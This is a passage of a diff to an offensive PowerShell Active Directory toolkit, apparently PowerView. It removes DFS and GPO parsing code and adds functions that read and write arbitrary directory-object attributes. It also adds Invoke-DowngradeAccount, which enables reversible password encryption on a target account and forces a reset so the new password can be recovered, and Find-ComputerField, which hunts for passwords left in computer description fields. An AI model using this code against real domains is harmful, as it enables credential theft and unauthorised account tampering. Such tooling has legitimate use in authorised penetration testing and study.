"(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : '$CompFilter'" + $CompSearcher.filter = $CompFilter - $short_prefix_size_start = $prefix_end + 1 - $short_prefix_size_end = $short_prefix_size_start + 1 - $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) - $short_prefix_start = $short_prefix_size_end + 1 - $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 - $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + try { + $Results = $CompSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if($Ping) { + # TODO: how can these results be piped to ping for a speedup? + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer + } + else { + # otherwise we're just returning the DNS host name + $_.properties.dnshostname + } + } + } + $Results.dispose() + $CompSearcher.dispose() + } + catch { + Write-Warning "Error: $_" + } + } + } +} - $type_start = $short_prefix_end + 1 - $type_end = $type_start + 3 - $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - $state_start = $type_end + 1 - $state_end = $state_start + 3 - $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) +function Get-ADObject { +<# + .SYNOPSIS - $comment_size_start = $state_end + 1 - $comment_size_end = $comment_size_start + 1 - $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) - $comment_start = $comment_size_end + 1 - $comment_end = $comment_start + $comment_size - 1 - if ($comment_size -gt 0) { - $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) - } - $prefix_timestamp_start = $comment_end + 1 - $prefix_timestamp_end = $prefix_timestamp_start + 7 - # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME - $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime - $state_timestamp_start = $prefix_timestamp_end + 1 - $state_timestamp_end = $state_timestamp_start + 7 - $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] - $comment_timestamp_start = $state_timestamp_end + 1 - $comment_timestamp_end = $comment_timestamp_start + 7 - $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] - $version_start = $comment_timestamp_end + 1 - $version_end = $version_start + 3 - $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + Takes a domain SID and returns the user, group, or computer object + associated with it. - # Parse rest of DFSNamespaceRootOrLinkBlob here - $dfs_targetlist_blob_size_start = $version_end + 1 - $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 - $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + .PARAMETER SID - $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 - $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 - $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] - $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 - $reserved_blob_size_end = $reserved_blob_size_start + 3 - $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + The SID of the domain object you're querying for. - $reserved_blob_start = $reserved_blob_size_end + 1 - $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 - $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] - $referral_ttl_start = $reserved_blob_end + 1 - $referral_ttl_end = $referral_ttl_start + 3 - $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + .PARAMETER Name - #Parse DFSTargetListBlob - $target_count_start = 0 - $target_count_end = $target_count_start + 3 - $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) - $t_offset = $target_count_end + 1 + The Name of the domain object you're querying for. - for($j=1; $j -le $target_count; $j++){ - $target_entry_size_start = $t_offset - $target_entry_size_end = $target_entry_size_start + 3 - $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - $target_time_stamp_start = $target_entry_size_end + 1 - $target_time_stamp_end = $target_time_stamp_start + 7 - # FILETIME again or special if priority rank and priority class 0 - $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] - $target_state_start = $target_time_stamp_end + 1 - $target_state_end = $target_state_start + 3 - $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + .PARAMETER SamAccountName - $target_type_start = $target_state_end + 1 - $target_type_end = $target_type_start + 3 - $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + The SamAccountName of the domain object you're querying for. - $server_name_size_start = $target_type_end + 1 - $server_name_size_end = $server_name_size_start + 1 - $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + .PARAMETER Domain - $server_name_start = $server_name_size_end + 1 - $server_name_end = $server_name_start + $server_name_size - 1 - $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + The domain to query for objects, defaults to the current domain. - $share_name_size_start = $server_name_end + 1 - $share_name_size_end = $share_name_size_start + 1 - $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) - $share_name_start = $share_name_size_end + 1 - $share_name_end = $share_name_start + $share_name_size - 1 - $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + .PARAMETER DomainController - $target_list += "\\$server_name\$share_name" - $t_offset = $share_name_end + 1 - } - } - } - $offset = $blob_data_end + 1 - $dfs_pkt_properties = @{ - 'Name' = $blob_name - 'Prefix' = $prefix - 'TargetList' = $target_list - } - $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties - $prefix = $null - $blob_name = $null - $target_list = $null - } + Domain controller to reflect LDAP queries through. - $servers = @() - $object_list | ForEach-Object { - if ($_.TargetList) { - $_.TargetList | ForEach-Object { - $servers += $_.split("\")[2] - } - } - } + .PARAMETER ADSpath - $servers - } + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - function Get-DFSshareV1 { - [CmdletBinding()] - param( - [String] - $Domain, + .PARAMETER Filter - [String] - $DomainController, + Additional LDAP filter string for the query. - [String] - $ADSpath, + .PARAMETER ReturnRaw - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. - [Management.Automation.PSCredential] - $Credential - ) + .PARAMETER PageSize - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + The PageSize to set for the LDAP searcher object. - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=fTDfs))" + .PARAMETER Credential - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $RemoteNames = $Properties.remoteservername - $Pkt = $Properties.pkt + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - $DFSshares += $RemoteNames | ForEach-Object { - try { - if ( $_.Contains('\') ) { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} - } - } - catch { - Write-Debug "Error in parsing DFS share : $_" - } - } - } - $Results.dispose() - $DFSSearcher.dispose() + .EXAMPLE - if($pkt -and $pkt[0]) { - Parse-Pkt $pkt[0] | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} - } - } - } - } - catch { - Write-Warning "Get-DFSshareV1 error : $_" - } - $DFSshares | Sort-Object -Property "RemoteServerName" - } - } + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE - function Get-DFSshareV2 { - [CmdletBinding()] - param( - [String] - $Domain, + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> - [String] - $DomainController, + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SID, - [String] - $ADSpath, + [String] + $Name, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [String] + $SamAccountName, - [Management.Automation.PSCredential] - $Credential - ) + [String] + $Domain, - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + [String] + $DomainController, - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" - $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $ReturnRaw, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + [Management.Automation.PSCredential] + $Credential + ) + process { + if($SID) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $target_list = $Properties.'msdfs-targetlistv2'[0] - $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) - $DFSshares += $xml.targets.ChildNodes | ForEach-Object { - try { - $Target = $_.InnerText - if ( $Target.Contains('\') ) { - $DFSroot = $Target.split("\")[3] - $ShareName = $Properties.'msdfs-linkpathv2'[0] - New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} - } - } - catch { - Write-Debug "Error in parsing target : $_" - } + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Warning "Error resolving SID '$SID'" + return $Null } } - $Results.dispose() - $DFSSearcher.dispose() } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Error resolving SID '$SID' : $_" + return $Null } - $DFSshares | Sort-Object -Unique -Property "RemoteServerName" } - } - $DFSshares = @() + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } + if($ObjectSearcher) { + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } - $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + $Results.dispose() + $ObjectSearcher.dispose() + } + } } -######################################################## -# -# GPO related functions. -# -######################################################## - -function Get-GptTmpl { +function Set-ADObject { <# .SYNOPSIS - Helper to parse a GptTmpl.inf policy file path into a custom object. + Takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue'. - .PARAMETER GptTmplPath + .PARAMETER SID - The GptTmpl.inf file path name to parse. + The SID of the domain object you're querying for. - .PARAMETER UsePSDrive + .PARAMETER Name - Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + The Name of the domain object you're querying for. - .EXAMPLE + .PARAMETER SamAccountName - PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + The SamAccountName of the domain object you're querying for. - Parse the default domain policy .inf for dev.testlab.local -#> + .PARAMETER Domain - [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $GptTmplPath, + The domain to query for objects, defaults to the current domain. - [Switch] - $UsePSDrive - ) + .PARAMETER DomainController - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + Domain controller to reflect LDAP queries through. - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Debug "Error mounting path $GptTmplPath : $_" - return $Null - } - - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath - } - } - - process { - $SectionName = '' - $SectionsTemp = @{} - $SectionsFinal = @{} + .PARAMETER Filter - try { - Write-Verbose "Parsing $TargetGptTmplPath" + Additional LDAP filter string for the query. - Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' - } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() + .PARAMETER PropertyName - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } + The property name to set. - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } + .PARAMETER PropertyValue - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) - } - } + The value to set for PropertyName - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] - } + .PARAMETER PropertyXorValue - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal - } - catch { - Write-Debug "Error parsing $TargetGptTmplPath : $_" - } - } + Integer value to binary xor (-bxor) with the current int value. - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } - } -} + .PARAMETER ClearValue + Switch. Clear the value of PropertyName -function Get-GroupsXML { -<# - .SYNOPSIS + .PARAMETER PageSize - Helper to parse a groups.xml file path into a custom object. + The PageSize to set for the LDAP searcher object. - .PARAMETER GroupsXMLpath + .PARAMETER Credential - The groups.xml file path name to parse. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - .PARAMETER ResolveSids + .EXAMPLE - Switch. Resolve Sids from a DC policy to object names. + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 + + Set the countrycode for matt.admin to 0 - .PARAMETER UsePSDrive + .EXAMPLE - Switch. Mount the target groups.xml folder path as a temporary PSDrive. + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 + + Set the password not to expire on matt.admin #> [CmdletBinding()] Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] - $GroupsXMLPath, + $SID, - [Switch] - $ResolveSids, + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $Filter, + + [Parameter(Mandatory = $True)] + [String] + $PropertyName, + + $PropertyValue, + + [Int] + $PropertyXorValue, [Switch] - $UsePSDrive - ) + $ClearValue, - begin { - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + [Management.Automation.PSCredential] + $Credential + ) - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Debug "Error mounting path $GroupsXMLPath : $_" - return $Null - } + $Arguments = @{ + 'SID' = $SID + 'Name' = $Name + 'SamAccountName' = $SamAccountName + 'Domain' = $Domain + 'DomainController' = $DomainController + 'Filter' = $Filter + 'PageSize' = $PageSize + 'Credential' = $Credential + } + # splat the appropriate arguments to Get-ADObject + $RawObject = Get-ADObject -ReturnRaw @Arguments + + try { + # get the modifiable object for this search result + $Entry = $RawObject.GetDirectoryEntry() + + if($ClearValue) { + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + $Entry.commitchanges() + } - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + elseif($PropertyXorValue) { + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + $Entry.commitchanges() } + else { - $TargetGroupsXMLPath = $GroupsXMLPath + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() } } + catch { + Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" + } +} - process { - try { - [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop +function Invoke-DowngradeAccount { +<# + .SYNOPSIS - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { + Set reversible encryption on a given account and then force the password + to be set on next user login. To repair use "-Repair". + + .PARAMETER SamAccountName - $Members = @() - $MemberOf = @() + The SamAccountName of the domain object you're querying for. - # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid - if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' - } - elseif($_.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' - } - else { - $LocalSid = $_.Properties.groupName - } - } - $MemberOf = @($LocalSid) + .PARAMETER Name - $_.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + The Name of the domain object you're querying for. - if($_.sid) { - $Members += $_.sid - } - else { - # just a straight local account name - $Members += $_.name - } - } - } + .PARAMETER Domain - if ($Members -or $Memberof) { - # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } + The domain to query for objects, defaults to the current domain. - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} - } + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + .PARAMETER Filter - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $TargetGroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } + Additional LDAP filter string for the query. - New-Object -TypeName PSObject -Property $GPOProperties - } - } + .PARAMETER Repair + + Switch. Unset the reversible encryption flag and force password reset flag. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason + + Set reversible encryption on the 'jason' account and force the password to be changed. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason -Repair + + Unset reversible encryption on the 'jason' account and remove the forced password change. +#> + + [CmdletBinding()] + Param ( + [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [Parameter(ParameterSetName = 'Name')] + [String] + $Name, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $Filter, + + [Switch] + $Repair, + + [Management.Automation.PSCredential] + $Credential + ) + + process { + $Arguments = @{ + 'SamAccountName' = $SamAccountName + 'Name' = $Name + 'Domain' = $Domain + 'DomainController' = $DomainController + 'Filter' = $Filter + 'Credential' = $Credential } - catch { - Write-Debug "Error parsing $TargetGroupsXMLPath : $_" + + # splat the appropriate arguments to Get-ADObject + $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue + + if($Repair) { + + if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is set, unset it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # unset the forced password change + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 } - } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + else { + + if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { + # if the password is set to never expire, unset + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 + } + + if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is not set, set it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # force the password to be changed on next login + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 } } } -function Get-NetGPO { +function Get-ComputerProperty { <# .SYNOPSIS - Gets a list of all current GPOs in a domain. - - .PARAMETER GPOname - - The GPO name to query for, wildcards accepted. - - .PARAMETER DisplayName + Returns a list of all computer object properties. If a property + name is specified, it returns all [computer:property] values. - The GPO display name to query for, wildcards accepted. + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - .PARAMETER ComputerName + .PARAMETER Properties - Return all GPO objects applied to a given computer (FQDN). + Return property names for computers. .PARAMETER Domain - The domain to query for GPOs, defaults to the current domain. + The domain to query for computer properties, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER ADSpath - - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize The PageSize to set for the LDAP searcher object. @@ -3678,30 +4486,32 @@ function Get-NetGPO { .EXAMPLE - PS C:\> Get-NetGPO -Domain testlab.local + PS C:\> Get-ComputerProperty -Domain testing - Returns the GPOs in the 'testlab.local' domain. -#> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $GPOname = '*', + Returns all user properties for computers in the 'testing' domain. - [String] - $DisplayName, + .EXAMPLE - [String] - $ComputerName, + PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location + + Returns all an array of computer/ssn/lastlogin/location combinations + for computers in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, [String] $Domain, [String] $DomainController, - - [String] - $ADSpath, [ValidateRange(1,10000)] [Int] @@ -3711,170 +4521,78 @@ function Get-NetGPO { $Credential ) - begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties | Sort-Object -Unique + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties } + else { + # extract out just the property names + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + } +} - process { - if ($GPOSearcher) { - - if($ComputerName) { - $GPONames = @() - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize - - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" - } - - # get the given computer's OU - $ComputerOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname - - $ComputerOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) - } - } - } - - Write-Verbose "ComputerOUs: $ComputerOUs" - - # find all the GPOs linked to the computer's OU - ForEach($ComputerOU in $ComputerOUs) { - $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { - # get any GPO links - write-verbose "blah: $($_.name)" - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - - Write-Verbose "GPONames: $GPONames" - - # find any GPOs linked to the site for the given computer - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { - $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - } - - $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { - - # use the gplink as an ADS path to enumerate all GPOs for the computer - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Out = Convert-LDAPProperty -Properties $_.Properties - $Out | Add-Member Noteproperty 'ComputerName' $ComputerName - $Out - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - - else { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" - } - else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } - - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - } -} - -function Get-NetGPOGroup { +function Find-ComputerField { <# .SYNOPSIS - Returns all GPOs in a domain that set "Restricted Groups" - or use groups.xml on on target machines. + Searches computer object fields for a given word (default *pass*). Default + field being searched is 'description'. - .PARAMETER GPOname + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - The GPO name to query for, wildcards accepted. + .PARAMETER SearchTerm - .PARAMETER DisplayName + Term to search for, default of "pass". - The GPO display name to query for, wildcards accepted. + .PARAMETER SearchField - .PARAMETER ResolveSids + User field to search in, default of "description". - Switch. Resolve Sids from a DC policy to object names. + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. .PARAMETER Domain - The domain to query for GPOs, defaults to the current domain. + Domain to search computer fields for, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER ADSpath - - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize The PageSize to set for the LDAP searcher object. - .PARAMETER UsePSDrive + .PARAMETER Credential - Switch. Mount any found policy files with temporary PSDrives. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE - PS C:\> Get-NetGPOGroup + PS C:\> Find-ComputerField -SearchTerm backup -SearchField info - Get all GPOs that set local groups on the current domain. + Find computer accounts with "backup" in the "info" field. #> [CmdletBinding()] - Param ( + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Term')] [String] - $GPOname = '*', + $SearchTerm = 'pass', + [Alias('Field')] [String] - $DisplayName, + $SearchField = 'description', - [Switch] - $ResolveSids, + [String] + $ADSpath, [String] $Domain, @@ -3882,168 +4600,92 @@ function Get-NetGPOGroup { [String] $DomainController, - [String] - $ADSpath, - - [Switch] - $UsePSDrive, - [ValidateRange(1,10000)] [Int] - $PageSize = 200 - ) - - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { - - $Memberof = $Null - $Members = $Null - $GPOdisplayName = $_.displayname - $GPOname = $_.name - $GPOPath = 